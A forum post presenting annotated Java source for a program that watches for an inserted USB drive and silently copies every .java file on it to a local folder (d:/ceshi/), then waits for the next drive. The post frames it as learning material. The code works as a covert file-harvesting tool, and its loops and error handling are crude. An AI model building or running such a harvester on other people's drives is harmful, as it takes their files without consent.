我根据楼主的java源码 然后做了一点注释,看完之后感觉自己又成长了不少
[Java] 纯文本查看 复制代码 package com.atguigu.java;
import java.io.*;
public class Detection {
public void runopen() {
System.out.println("启动检测U盘......-----Duan");
byte[] words = null;
// File.listRoots(); 返回我们电脑上所有盘路径
// C D E F dishs:盘
File[] file = File.listRoots();
/*
* for (int i = 0; i < dishs.length; i++) {
* System.out.println(dishs[i]); }
*/
File[] paths = null;
boolean bool = false;
while (true) {
// 不断赋值
paths = File.listRoots();
// 判断
if (paths.length > file.length) {
bool = true;
break;
}
}
if (bool) {
// 数组长度假设5; 0,1,2,3,4. paths.length - 1 等于 paths[4]
//U盘所在的盘符
String path = paths[paths.length - 1].toString();
System.out.println("检测到已插入U盘:" + path);
// 创建了copy 拷贝类 把U盘所在的盘符传进去
new Copy(new File(path));
bool = false;
runc();
}
}
public void runc() {
File[] dishs = File.listRoots();
File[] d = null;
boolean bool = false;
String i = null;
while (true) {
d = File.listRoots();
if (d.length < dishs.length) {
bool = true;
break;
}
}
if (bool) {
i = d[d.length - 1].toString();
System.out.println("U盘已经拔出:" + i);
bool = false;
runopen();
}
}
}
package com.atguigu.java;
import java.io.*;
public class Copy {
//U盘所在的盘符
public Copy(File path) {
// 调用本类中的方法
copys(path);
}
public void copys(File path) {
File[] listFiles = path.listFiles();
if (listFiles != null) {
for (File f : listFiles) {
// copys(f);
MyThread mt = new MyThread(f);
//以下代码将创建一个线程并启动它运行
//Java虚拟机调用此线程的run方法
mt.start();
System.out.println("第一步" + f);
}
} else {
System.out.println("U盘里面啥也没有你拷个毛线?");
}
/*
* if (file.getName().endsWith(".txt")) {
* System.out.println(file.getAbsolutePath()); }
*/
}
}
package com.atguigu.java;
import java.io.*;
//Thread 线程
public class MyThread extends Thread {
File path = null;
public MyThread(File path) {
this.path = path;
}
@Override
public void run() {
if (this.path == null) {
System.out.println("错误");
}
sb(this.path);
}
char[] ch = null;
public void sb(File path) {
//isDirectory()判断path是不是目录 true; 否则 false
//System.out.println(path.isDirectory());
//不断循环到所有目录都遍历完
if (path.isDirectory()) {
//返回某个目录下所有文件和目录的绝对路径 的数组
File[] listFiles = path.listFiles();
/*for (int i = 0; i < listFiles.length; i++) {
System.out.println(listFiles[i].getPath());
}*/
if (listFiles != null) {
for (File e : listFiles) {
//有可能是目录也有可能是文件
sb(e);
// System.out.println(Thread.currentThread().getName()+"---------"+e);
}
}
}
//endsWith()方法用于测试字符串是否以指定的后缀结束。
if (path.getName().endsWith(".java")) {
System.out.println("检测到java源代码文件..." + path.getAbsolutePath());
ch = null;
FileReader fr = null;
FileWriter fw = null;
BufferedReader br = null;
BufferedWriter bw = null;
String str = null;
StringBuffer sb = null;
try {
fr = new FileReader(path);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
br = new BufferedReader(fr);
sb = new StringBuffer();
ch = new char[4096];
int i;
try {
fw = new FileWriter("d:/ceshi/" + path.getName());
bw = new BufferedWriter(fw);
while ((i = br.read(ch)) != -1) {
bw.write(ch, 0, i);
// System.out.println(ch.length);
bw.flush();
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} finally {
try {
fr.close();
br.close();
bw.close();
fw.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
}
|